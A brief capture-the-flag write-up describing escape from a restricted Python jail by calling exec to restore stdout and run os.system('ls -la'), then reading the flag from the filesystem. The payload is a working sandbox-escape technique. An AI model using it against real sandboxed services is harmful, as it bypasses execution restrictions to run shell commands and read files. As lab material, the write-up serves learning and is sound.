Challenge

A Python jail that restricted output but left exec and the imports it needed reachable.

Approach

Reopen file descriptor 1 as stdout so command output comes back, then shell out:

1
exec('import sys,os;sys.stdout=open(1,"w");os.system("ls -la")')

From there os.system (or cat) reads the flag off the filesystem.